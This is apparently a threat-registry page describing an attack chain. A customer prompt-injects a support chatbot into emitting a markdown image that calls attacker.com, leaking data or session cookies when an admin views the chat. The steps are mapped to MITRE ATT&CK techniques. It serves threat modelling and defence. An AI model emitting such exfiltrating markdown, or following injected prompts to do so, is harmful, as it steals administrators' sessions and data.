Skip to content
← RegistryDossier · 5 steps · 4 edges

Output injection → admin XSS in support panel

Customer chats with support LLM. Prompt injection makes the model emit a malicious markdown link / image; when an admin views the conversation in the support panel, JS / pixel-tracker fires.

Filed by AD Knowledge Base
§ Kill-chainDrag · zoom · scroll

§ Context

Assumed environment: the LLM's output is later rendered in a back-office admin tool with markdown-to-HTML pipeline that doesn't sanitize attacker-controllable URLs or HTML.

§ Steps

  1. 01
    Open support chat as customerInitial Access
    T1078Valid Accounts
  2. 02
    Admin opens conversationExecution
    T1204User Execution
  3. 03
    Leak admin session cookie via referrerCredential Access
    T1539Steal Web Session Cookie
  4. 04
    Markdown rendered → request firesImpact
    W-XSS-STOREDStored XSS
  5. 05
    Inject prompt to emit ![](attacker.com/p?d=...) markdownImpact
    AI-OUTPUT-INJECTOutput Injection (Markdown / HTML)

§ References

§ Frequently asked

What is the "Output injection → admin XSS in support panel" attack path?
Customer chats with support LLM. Prompt injection makes the model emit a malicious markdown link / image; when an admin views the conversation in the support panel, JS / pixel-tracker fires. It chains 5 steps drawn from real-world offensive-security techniques.
What starting position does this attack require?
The first step is Open support chat as customer (T1078) — a initial access primitive. Assumed environment: the LLM's output is later rendered in a back-office admin tool with markdown-to-HTML pipeline that doesn't sanitize attacker-controllable URLs or HTML.
What is the final impact of this kill-chain?
The final step lands on Inject prompt to emit ![](attacker.com/p?d=...) markdown (AI-OUTPUT-INJECT), which falls under Impact. From here, an operator typically pivots into post-exploitation or maintains persistence.
How can defenders detect or prevent this attack?
Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.

§ Related dossiers